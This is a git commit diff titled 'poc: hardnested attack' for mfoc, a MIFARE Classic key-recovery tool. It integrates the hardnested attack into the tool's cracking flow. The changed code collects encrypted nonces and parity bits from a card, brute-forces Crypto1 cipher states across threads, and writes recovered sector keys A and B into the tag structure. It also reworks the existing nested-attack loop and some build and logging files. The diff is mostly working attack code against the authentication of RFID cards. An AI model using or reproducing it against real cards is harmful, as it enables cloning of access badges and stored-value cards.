poc: hardnested attack

This commit is contained in:
Valentín Kivachuk 2018-11-30 15:11:57 +01:00
parent fc39e033c4
commit ca895fc373
10 changed files with 325 additions and 921 deletions

2
.gitignore vendored
View File

@ -20,4 +20,4 @@ src/Makefile.in
src/mfoc
src/mfoc.exe
stamp-h1
*.o

View File

@ -7,7 +7,7 @@ AC_CONFIG_HEADERS([config.h])
AC_CONFIG_SRCDIR([src/mfoc.c])
AM_INIT_AUTOMAKE([dist-bzip2 no-dist-gzip subdir-objects])
CFLAGS="$CFLAGS -O3"
CFLAGS="$CFLAGS -g -g3"
AX_CFLAGS_WARN_ALL
AC_PROG_CC
@ -21,7 +21,6 @@ PKG_CHECK_MODULES([libnfc], [libnfc >= $LIBNFC_REQUIRED_VERSION], [], [AC_MSG_ER
PKG_CHECK_MODULES([liblzma], [liblzma], LIBS="$LIBS -llzma", [AC_MSG_ERROR([liblzma is mandatory.])])
ACX_PTHREAD(LIBS="$LIBS $PTHREAD_CFLAGS", [AC_MSG_ERROR([pthread is mandatory.])])
AC_CHECK_LIB(m, log, LIBS="$LIBS -lm", [AC_MSG_ERROR([math is mandatory.])])
AX_LIB_READLINE
PKG_CONFIG_REQUIRES="libnfc"
AC_SUBST([PKG_CONFIG_REQUIRES])

File diff suppressed because it is too large Load Diff

View File

@ -13,6 +13,7 @@
#include <stdint.h>
#include <stdbool.h>
#include "mfoc.h"
#define NUM_SUMS 19 // number of possible sum property values
@ -46,8 +47,9 @@ typedef struct noncelist {
noncelistentry_t *first;
} noncelist_t;
int mfnestedhard(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t *trgkey, bool nonce_file_read, bool nonce_file_write, bool slow, int tests);
void hardnested_print_progress(uint32_t nonces, char *activity, float brute_force, uint64_t min_diff_print_time);
int mfnestedhard(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType);
void hardnested_print_progress(uint32_t nonces, char *activity, float brute_force, uint64_t min_diff_print_time, uint8_t trgKeyBlock, uint8_t trgKeyType);
const char *get_my_executable_directory();
#endif

View File

@ -63,6 +63,7 @@ THE SOFTWARE.
#include "../util_posix.h"
#include "../crapto1.h"
#include "../parity.h"
#include "mifare.h"
#define NUM_BRUTE_FORCE_THREADS (num_CPUs())
#define DEFAULT_BRUTE_FORCE_RATE (120000000.0) // if benchmark doesn't succeed
@ -147,6 +148,8 @@ crack_states_thread(void* x) {
uint64_t maximum_states;
noncelist_t *nonces;
uint8_t* best_first_bytes;
uint8_t trgBlock;
uint8_t trgKey;
} *thread_arg;
thread_arg = (struct arg *) x;
@ -163,7 +166,14 @@ crack_states_thread(void* x) {
__sync_fetch_and_add(&keys_found, 1);
char progress_text[80];
sprintf(progress_text, "Brute force phase completed. Key found: %012" PRIx64, key);
hardnested_print_progress(thread_arg->num_acquired_nonces, progress_text, 0.0, 0);
if (thread_arg->trgKey == MC_AUTH_A){
t.sectors[thread_arg->trgBlock / 4].foundKeyA = true;
memcpy(t.sectors[thread_arg->trgBlock / 4].KeyA, &key, sizeof(key));
} else {
t.sectors[thread_arg->trgBlock / 4].foundKeyB = true;
memcpy(t.sectors[thread_arg->trgBlock / 4].KeyB, &key, sizeof(key));
}
hardnested_print_progress(thread_arg->num_acquired_nonces, progress_text, 0.0, 0, thread_arg->trgBlock, thread_arg->trgKey);
break;
} else if (keys_found) {
break;
@ -172,7 +182,7 @@ crack_states_thread(void* x) {
char progress_text[80];
sprintf(progress_text, "Brute force phase: %6.02f%%", 100.0 * (float) num_keys_tested / (float) (thread_arg->maximum_states));
float remaining_bruteforce = thread_arg->nonces[thread_arg->best_first_bytes[0]].expected_num_brute_force - (float) num_keys_tested / 2;
hardnested_print_progress(thread_arg->num_acquired_nonces, progress_text, remaining_bruteforce, 5000);
hardnested_print_progress(thread_arg->num_acquired_nonces, progress_text, remaining_bruteforce, 5000, thread_arg->trgBlock, thread_arg->trgKey);
}
}
}
@ -277,7 +287,7 @@ static void write_benchfile(statelist_t *candidates) {
}
#endif
bool brute_force_bs(float *bf_rate, statelist_t *candidates, uint32_t cuid, uint32_t num_acquired_nonces, uint64_t maximum_states, noncelist_t *nonces, uint8_t *best_first_bytes) {
bool brute_force_bs(float *bf_rate, statelist_t *candidates, uint32_t cuid, uint32_t num_acquired_nonces, uint64_t maximum_states, noncelist_t *nonces, uint8_t *best_first_bytes, uint8_t trgBlock, uint8_t trgKey) {
#if defined (WRITE_BENCH_FILE)
write_benchfile(candidates);
#endif
@ -322,6 +332,8 @@ bool brute_force_bs(float *bf_rate, statelist_t *candidates, uint32_t cuid, uint
uint64_t maximum_states;
noncelist_t *nonces;
uint8_t *best_first_bytes;
uint8_t trgBlock;
uint8_t trgKey;
} thread_args[NUM_BRUTE_FORCE_THREADS];
for (uint32_t i = 0; i < NUM_BRUTE_FORCE_THREADS; i++) {
@ -332,6 +344,8 @@ bool brute_force_bs(float *bf_rate, statelist_t *candidates, uint32_t cuid, uint
thread_args[i].maximum_states = maximum_states;
thread_args[i].nonces = nonces;
thread_args[i].best_first_bytes = best_first_bytes;
thread_args[i].trgBlock = trgBlock;
thread_args[i].trgKey = trgKey;
pthread_create(&threads[i], NULL, crack_states_thread, (void*) &thread_args[i]);
}
for (uint32_t i = 0; i < NUM_BRUTE_FORCE_THREADS; i++) {
@ -363,8 +377,8 @@ static bool read_bench_data(statelist_t *test_candidates) {
uint32_t num_states = 0;
uint32_t states_read = 0;
char bench_file_path[strlen(".") + strlen(TEST_BENCH_FILENAME) + 1];
strcpy(bench_file_path, ".");
char bench_file_path[strlen(get_my_executable_directory()) + strlen(TEST_BENCH_FILENAME) + 1];
strcpy(bench_file_path, get_my_executable_directory());
strcat(bench_file_path, TEST_BENCH_FILENAME);
FILE *benchfile = fopen(bench_file_path, "rb");
@ -453,7 +467,7 @@ float brute_force_benchmark() {
uint64_t maximum_states = TEST_BENCH_SIZE * TEST_BENCH_SIZE * (uint64_t) NUM_BRUTE_FORCE_THREADS;
float bf_rate;
brute_force_bs(&bf_rate, test_candidates, 0, 0, maximum_states, NULL, 0);
brute_force_bs(&bf_rate, test_candidates, 0, 0, maximum_states, NULL, 0, 0, 0);
free(test_candidates[0].states[ODD_STATE]);
free(test_candidates[0].states[EVEN_STATE]);

View File

@ -20,6 +20,7 @@
#include <stdint.h>
#include <stdbool.h>
#include "../cmdhfmfhard.h"
#include "../mfoc.h"
typedef struct {
uint32_t *states[2];
@ -28,7 +29,7 @@ typedef struct {
} statelist_t;
extern void prepare_bf_test_nonces(noncelist_t *nonces, uint8_t best_first_byte);
extern bool brute_force_bs(float *bf_rate, statelist_t *candidates, uint32_t cuid, uint32_t num_acquired_nonces, uint64_t maximum_states, noncelist_t *nonces, uint8_t *best_first_bytes);
extern bool brute_force_bs(float *bf_rate, statelist_t *candidates, uint32_t cuid, uint32_t num_acquired_nonces, uint64_t maximum_states, noncelist_t *nonces, uint8_t *best_first_bytes, uint8_t trgBlock, uint8_t trgKey);
extern float brute_force_benchmark();
extern uint8_t trailing_zeros(uint8_t byte);
extern bool verify_key(uint32_t cuid, noncelist_t *nonces, uint8_t *best_first_bytes, uint32_t odd, uint32_t even);

View File

@ -55,6 +55,7 @@
//SLRE
#include "slre.h"
#include "slre.c"
#include "cmdhfmfhard.h"
#define MAX_FRAME_LEN 264
@ -110,8 +111,6 @@ int main(int argc, char *const argv[])
};
mftag t;
mfreader r;
denonce d = {NULL, 0, DEFAULT_DIST_NR, DEFAULT_TOLERANCE, {0x00, 0x00, 0x00}};
// Pointers to possible keys
@ -535,107 +534,125 @@ int main(int argc, char *const argv[])
}
}
if (skip) continue; // We have already revealed key, go to the next iteration
// Max probes for auth for each sector
for (k = 0; k < probes; ++k) {
// Try to authenticate to exploit sector and determine distances (filling denonce.distances)
int authresult = mf_enhanced_auth(e_sector, 0, t, r, &d, pk, 'd', dumpKeysA); // AUTH + Get Distances mode
if(authresult == -99999){
//for now we return the last sector that is unknown
nfc_close(r.pdi);
nfc_exit(context);
if(pfKey) {
fprintf(pfKey, "%012" PRIu64 ";%d;%c;%d;%c", knownKey, knownSector, knownKeyLetter, unknownSector, unknownKeyLetter);
fclose(pfKey);
}
return 9;
}
printf("Sector: %d, type %c, probe %d, distance %d ", j, (dumpKeysA ? 'A' : 'B'), k, d.median);
// Configure device to the previous state
mf_configure(r.pdi);
mf_anticollision(t, r);
pk->possibleKeys = NULL;
pk->size = 0;
// We have 'sets' * 32b keystream of potential keys
for (n = 0; n < sets; n++) {
// AUTH + Recovery key mode (for a_sector), repeat 5 times
mf_enhanced_auth(e_sector, t.sectors[j].trailer, t, r, &d, pk, 'r', dumpKeysA);
mf_configure(r.pdi);
mf_anticollision(t, r);
if (mf_enhanced_auth(e_sector, 0, t, r, &d, pk, 'd', dumpKeysA, 0, 0) == -99999) {
//Hardnested attack
mf_configure(r.pdi);
mf_anticollision(t, r);
fprintf(stdout, ".");
fflush(stdout);
}
fprintf(stdout, "\n");
// Get first 15 grouped keys
ck = uniqsort(pk->possibleKeys, pk->size);
for (i = 0; i < TRY_KEYS ; i++) {
// We don't known this key, try to break it
// This key can be found here two or more times
if (ck[i].count > 0) {
// fprintf(stdout,"%d %llx\n",ck[i].count, ck[i].key);
// Set required authetication method
num_to_bytes(ck[i].key, 6, mp.mpa.abtKey);
mc = dumpKeysA ? MC_AUTH_A : MC_AUTH_B;
int res;
if ((res = nfc_initiator_mifare_cmd(r.pdi, mc, t.sectors[j].trailer, &mp)) < 0) {
if (res != NFC_EMFCAUTHFAIL) {
nfc_perror(r.pdi, "nfc_initiator_mifare_cmd");
goto error;
}
mf_anticollision(t, r);
} else {
// Save all information about successfull authentization
bk->size++;
bk->brokenKeys = (uint64_t *) realloc((void *)bk->brokenKeys, bk->size * sizeof(uint64_t));
bk->brokenKeys[bk->size - 1] = bytes_to_num(mp.mpa.abtKey, sizeof(mp.mpa.abtKey));
if (dumpKeysA) {
memcpy(t.sectors[j].KeyA, mp.mpa.abtKey, sizeof(mp.mpa.abtKey));
t.sectors[j].foundKeyA = true;
} else {
memcpy(t.sectors[j].KeyB, mp.mpa.abtKey, sizeof(mp.mpa.abtKey));
t.sectors[j].foundKeyB = true;
}
fprintf(stdout, " Found Key: %c [%012llx]\n", (dumpKeysA ? 'A' : 'B'),
bytes_to_num(mp.mpa.abtKey, 6));
// if we need KeyB for this sector, it should be revealed by a data read with KeyA
if (!t.sectors[j].foundKeyB) {
if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_READ, t.sectors[j].trailer, &mtmp)) >= 0) {
fprintf(stdout, " Data read with Key A revealed Key B: [%012llx] - checking Auth: ", bytes_to_num(mtmp.mpd.abtData + 10, sizeof(mtmp.mpa.abtKey)));
memcpy(mtmp.mpa.abtKey, mtmp.mpd.abtData + 10, sizeof(mtmp.mpa.abtKey));
memcpy(mtmp.mpa.abtAuthUid, t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, sizeof(mtmp.mpa.abtAuthUid));
if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_AUTH_B, t.sectors[j].trailer, &mtmp)) < 0) {
fprintf(stdout, "Failed!\n");
mf_configure(r.pdi);
mf_anticollision(t, r);
} else {
fprintf(stdout, "OK\n");
memcpy(t.sectors[j].KeyB, mtmp.mpd.abtData + 10, sizeof(t.sectors[j].KeyB));
t.sectors[j].foundKeyB = true;
bk->size++;
bk->brokenKeys = (uint64_t *) realloc((void *)bk->brokenKeys, bk->size * sizeof(uint64_t));
bk->brokenKeys[bk->size - 1] = bytes_to_num(mtmp.mpa.abtKey, sizeof(mtmp.mpa.abtKey));
uint8_t blockNo = e_sector * 4; //Block
uint8_t keyType = (t.sectors[e_sector].foundKeyA ? MC_AUTH_A : MC_AUTH_B);
uint8_t *key = (t.sectors[e_sector].foundKeyA ? t.sectors[e_sector].KeyA : t.sectors[e_sector].KeyB);;
uint8_t trgBlockNo = j * 4; //block
uint8_t trgKeyType = (dumpKeysA ? MC_AUTH_A : MC_AUTH_B);
mfnestedhard(blockNo, keyType, key, trgBlockNo, trgKeyType);
} else {
//Nested attack
// Max probes for auth for each sector
for (k = 0; k < probes; ++k) {
// Try to authenticate to exploit sector and determine distances (filling denonce.distances)
int authresult = mf_enhanced_auth(e_sector, 0, t, r, &d, pk, 'd', dumpKeysA, 0, 0); // AUTH + Get Distances mode
if(authresult == -99999){
//for now we return the last sector that is unknown
nfc_close(r.pdi);
nfc_exit(context);
if(pfKey) {
fprintf(pfKey, "%012" PRIu64 ";%d;%c;%d;%c", knownKey, knownSector, knownKeyLetter, unknownSector, unknownKeyLetter);
fclose(pfKey);
}
} else {
if (res != NFC_ERFTRANS) {
nfc_perror(r.pdi, "nfc_initiator_mifare_cmd");
goto error;
}
mf_anticollision(t, r);
}
}
return 9;
}
printf("Sector: %d, type %c, probe %d, distance %d ", j, (dumpKeysA ? 'A' : 'B'), k, d.median);
// Configure device to the previous state
mf_configure(r.pdi);
mf_anticollision(t, r);
pk->possibleKeys = NULL;
pk->size = 0;
// We have 'sets' * 32b keystream of potential keys
for (n = 0; n < sets; n++) {
// AUTH + Recovery key mode (for a_sector), repeat 5 times
mf_enhanced_auth(e_sector, t.sectors[j].trailer, t, r, &d, pk, 'r', dumpKeysA, 0, 0);
mf_configure(r.pdi);
mf_anticollision(t, r);
break;
fprintf(stdout, ".");
fflush(stdout);
}
fprintf(stdout, "\n");
// Get first 15 grouped keys
ck = uniqsort(pk->possibleKeys, pk->size);
for (i = 0; i < TRY_KEYS ; i++) {
// We don't known this key, try to break it
// This key can be found here two or more times
if (ck[i].count > 0) {
// fprintf(stdout,"%d %llx\n",ck[i].count, ck[i].key);
// Set required authetication method
num_to_bytes(ck[i].key, 6, mp.mpa.abtKey);
mc = dumpKeysA ? MC_AUTH_A : MC_AUTH_B;
int res;
if ((res = nfc_initiator_mifare_cmd(r.pdi, mc, t.sectors[j].trailer, &mp)) < 0) {
if (res != NFC_EMFCAUTHFAIL) {
nfc_perror(r.pdi, "nfc_initiator_mifare_cmd");
goto error;
}
mf_anticollision(t, r);
} else {
// Save all information about successfull authentization
bk->size++;
bk->brokenKeys = (uint64_t *) realloc((void *)bk->brokenKeys, bk->size * sizeof(uint64_t));
bk->brokenKeys[bk->size - 1] = bytes_to_num(mp.mpa.abtKey, sizeof(mp.mpa.abtKey));
if (dumpKeysA) {
memcpy(t.sectors[j].KeyA, mp.mpa.abtKey, sizeof(mp.mpa.abtKey));
t.sectors[j].foundKeyA = true;
} else {
memcpy(t.sectors[j].KeyB, mp.mpa.abtKey, sizeof(mp.mpa.abtKey));
t.sectors[j].foundKeyB = true;
}
fprintf(stdout, " Found Key: %c [%012llx]\n", (dumpKeysA ? 'A' : 'B'),
bytes_to_num(mp.mpa.abtKey, 6));
// if we need KeyB for this sector, it should be revealed by a data read with KeyA
if (!t.sectors[j].foundKeyB) {
if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_READ, t.sectors[j].trailer, &mtmp)) >= 0) {
fprintf(stdout, " Data read with Key A revealed Key B: [%012llx] - checking Auth: ", bytes_to_num(mtmp.mpd.abtData + 10, sizeof(mtmp.mpa.abtKey)));
memcpy(mtmp.mpa.abtKey, mtmp.mpd.abtData + 10, sizeof(mtmp.mpa.abtKey));
memcpy(mtmp.mpa.abtAuthUid, t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, sizeof(mtmp.mpa.abtAuthUid));
if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_AUTH_B, t.sectors[j].trailer, &mtmp)) < 0) {
fprintf(stdout, "Failed!\n");
mf_configure(r.pdi);
mf_anticollision(t, r);
} else {
fprintf(stdout, "OK\n");
memcpy(t.sectors[j].KeyB, mtmp.mpd.abtData + 10, sizeof(t.sectors[j].KeyB));
t.sectors[j].foundKeyB = true;
bk->size++;
bk->brokenKeys = (uint64_t *) realloc((void *)bk->brokenKeys, bk->size * sizeof(uint64_t));
bk->brokenKeys[bk->size - 1] = bytes_to_num(mtmp.mpa.abtKey, sizeof(mtmp.mpa.abtKey));
}
} else {
if (res != NFC_ERFTRANS) {
nfc_perror(r.pdi, "nfc_initiator_mifare_cmd");
goto error;
}
mf_anticollision(t, r);
}
}
mf_configure(r.pdi);
mf_anticollision(t, r);
break;
}
}
}
free(pk->possibleKeys);
free(ck);
// Success, try the next sector
if ((dumpKeysA && t.sectors[j].foundKeyA) || (!dumpKeysA && t.sectors[j].foundKeyB)) break;
}
}
free(pk->possibleKeys);
free(ck);
// Success, try the next sector
if ((dumpKeysA && t.sectors[j].foundKeyA) || (!dumpKeysA && t.sectors[j].foundKeyB)) break;
}
// We haven't found any key, exiting
if ((dumpKeysA && !t.sectors[j].foundKeyA) || (!dumpKeysA && !t.sectors[j].foundKeyB)) {
@ -917,7 +934,7 @@ get_rats_is_2k(mftag t, mfreader r)
}
}
int mf_enhanced_auth(int e_sector, int a_sector, mftag t, mfreader r, denonce *d, pKeys *pk, char mode, bool dumpKeysA)
int mf_enhanced_auth(int e_sector, int a_sector, mftag t, mfreader r, denonce *d, pKeys *pk, char mode, bool dumpKeysA, uint32_t *NtEncBytes, uint8_t* parBits)
{
struct Crypto1State *pcs;
struct Crypto1State *revstate;
@ -931,6 +948,12 @@ int mf_enhanced_auth(int e_sector, int a_sector, mftag t, mfreader r, denonce *d
uint8_t Nr[4] = { 0x00, 0x00, 0x00, 0x00 }; // Reader nonce
uint8_t Auth[4] = { 0x00, t.sectors[e_sector].trailer, 0x00, 0x00 };
uint8_t AuthEnc[4] = { 0x00, t.sectors[e_sector].trailer, 0x00, 0x00 };
if (mode == 'h') {
memset(Auth, 0, 4);
memset(AuthEnc, 0, 4);
}
uint8_t AuthEncPar[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
uint8_t ArEnc[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
@ -946,6 +969,9 @@ int mf_enhanced_auth(int e_sector, int a_sector, mftag t, mfreader r, denonce *d
// Prepare AUTH command
Auth[0] = (t.sectors[e_sector].foundKeyA) ? MC_AUTH_A : MC_AUTH_B;
if (mode == 'h') {
Auth[1] = e_sector * 4; //block
}
iso14443a_crc_append(Auth, 2);
// fprintf(stdout, "\nAuth command:\t");
// print_hex(Auth, 4);
@ -1179,16 +1205,16 @@ int mf_enhanced_auth(int e_sector, int a_sector, mftag t, mfreader r, denonce *d
if (mode == 'h') {
// Again, prepare the Auth command with MC_AUTH_A, recover the block and CRC
Auth[0] = dumpKeysA ? MC_AUTH_A : MC_AUTH_B;
Auth[1] = a_sector;
Auth[1] = a_sector * 4; //block
iso14443a_crc_append(Auth, 2);
// Encryption of the Auth command, sending the Auth command
for (i = 0; i < 4; i++) {
AuthEnc[i] = crypto1_byte(pcs, 0x00, 0) ^ Auth[i];
AuthEnc[i] = crypto1_byte(pcs, 0, 0) ^ Auth[i];
// Encrypt the parity bits with the 4 plaintext bytes
AuthEncPar[i] = filter(pcs->odd) ^ oddparity(Auth[i]);
}
if (nfc_initiator_transceive_bits(r.pdi, AuthEnc, 32, AuthEncPar, Rx, sizeof (Rx), RxPar) < 0) {
if ((( res = nfc_initiator_transceive_bits(r.pdi, AuthEnc, 32, AuthEncPar, Rx, sizeof (Rx), RxPar)) < 0) || (res != 32)){
ERR("while requesting encrypted tag-nonce");
exit(EXIT_FAILURE);
}
@ -1204,7 +1230,8 @@ int mf_enhanced_auth(int e_sector, int a_sector, mftag t, mfreader r, denonce *d
pbits <<= 1;
pbits |= p;
}
// num_acquired_nonces += add_nonce(NtEnc, pbits);
*NtEncBytes = NtEnc;
*parBits = pbits;
}

View File

@ -1,3 +1,8 @@
#ifndef MFOC_H__
#define MFOC_H__
#include <nfc/nfc-types.h>
#define MEM_CHUNK 10000
#define TRY_KEYS 50
@ -82,6 +87,10 @@ typedef struct {
} countKeys;
mftag t;
mfreader r;
void usage(FILE *stream, int errno);
void mf_init(mfreader *r);
void mf_configure(nfc_device *pdi);
@ -90,7 +99,7 @@ int trailer_block(uint32_t block);
int find_exploit_sector(mftag t);
void mf_anticollision(mftag t, mfreader r);
bool get_rats_is_2k(mftag t, mfreader r);
int mf_enhanced_auth(int e_sector, int a_sector, mftag t, mfreader r, denonce *d, pKeys *pk, char mode, bool dumpKeysA);
int mf_enhanced_auth(int e_sector, int a_sector, mftag t, mfreader r, denonce *d, pKeys *pk, char mode, bool dumpKeysA, uint32_t *NtEncBytes, uint8_t* parBits);
uint32_t median(denonce d);
int compar_int(const void *a, const void *b);
int valid_nonce(uint32_t Nt, uint32_t NtEnc, uint32_t Ks1, uint8_t *parity);
@ -98,3 +107,6 @@ int compar_special_int(const void *a, const void *b);
countKeys *uniqsort(uint64_t *possibleKeys, uint32_t size);
void num_to_bytes(uint64_t n, uint32_t len, uint8_t *dest);
long long unsigned int bytes_to_num(uint8_t *src, uint32_t len);
#endif

View File

@ -27,45 +27,15 @@ int GridOffset = 0;
bool GridLocked = false;
bool showDemod = true;
static char *logfilename = "proxmark3.log";
#ifndef EXTERNAL_PRINTANDLOG
static pthread_mutex_t print_lock = PTHREAD_MUTEX_INITIALIZER;
void PrintAndLog(char *fmt, ...) {
char *saved_line;
int saved_point;
va_list argptr, argptr2;
static FILE *logfile = NULL;
static int logging = 1;
// lock this section to avoid interlacing prints from different threads
pthread_mutex_lock(&print_lock);
if (logging && !logfile) {
logfile = fopen(logfilename, "a");
if (!logfile) {
fprintf(stderr, "Can't open logfile, logging disabled!\n");
logging = 0;
}
}
// If there is an incoming message from the hardware (eg: lf hid read) in
// the background (while the prompt is displayed and accepting user input),
// stash the prompt and bring it back later.
#ifdef RL_STATE_READCMD
// We are using GNU readline. libedit (OSX) doesn't support this flag.
int need_hack = (rl_readline_state & RL_STATE_READCMD) > 0;
if (need_hack) {
saved_point = rl_point;
saved_line = rl_copy_text(0, rl_end);
rl_save_prompt();
rl_replace_line("", 0);
rl_redisplay();
}
#endif
va_start(argptr, fmt);
va_copy(argptr2, argptr);
vprintf(fmt, argptr);
@ -73,22 +43,6 @@ void PrintAndLog(char *fmt, ...) {
va_end(argptr);
printf("\n");
#ifdef RL_STATE_READCMD
// We are using GNU readline. libedit (OSX) doesn't support this flag.
if (need_hack) {
rl_restore_prompt();
rl_replace_line(saved_line, 0);
rl_point = saved_point;
rl_redisplay();
free(saved_line);
}
#endif
if (logging && logfile) {
vfprintf(logfile, fmt, argptr2);
fprintf(logfile, "\n");
fflush(logfile);
}
va_end(argptr2);
if (flushAfterWrite) //buzzy
@ -100,10 +54,6 @@ void PrintAndLog(char *fmt, ...) {
}
#endif
void SetLogFilename(char *fn) {
logfilename = fn;
}
void SetFlushAfterWrite(bool flush_after_write) {
flushAfterWrite = flush_after_write;
}

View File

@ -53,8 +53,6 @@ extern char *sprint_bin(const uint8_t * data, const size_t len);
extern char *sprint_bin_break(const uint8_t *data, const size_t len, const uint8_t breaks);
extern char *sprint_ascii_ex(const uint8_t *data, const size_t len, const size_t min_str_len);
extern void num_to_bytes(uint64_t n, size_t len, uint8_t* dest);
extern uint64_t bytes_to_num(uint8_t* src, size_t len);
extern void num_to_bytebits(uint64_t n, size_t len, uint8_t *dest);
extern void num_to_bytebitsLSBF(uint64_t n, size_t len, uint8_t *dest);
extern char *printBits(size_t const size, void const * const ptr);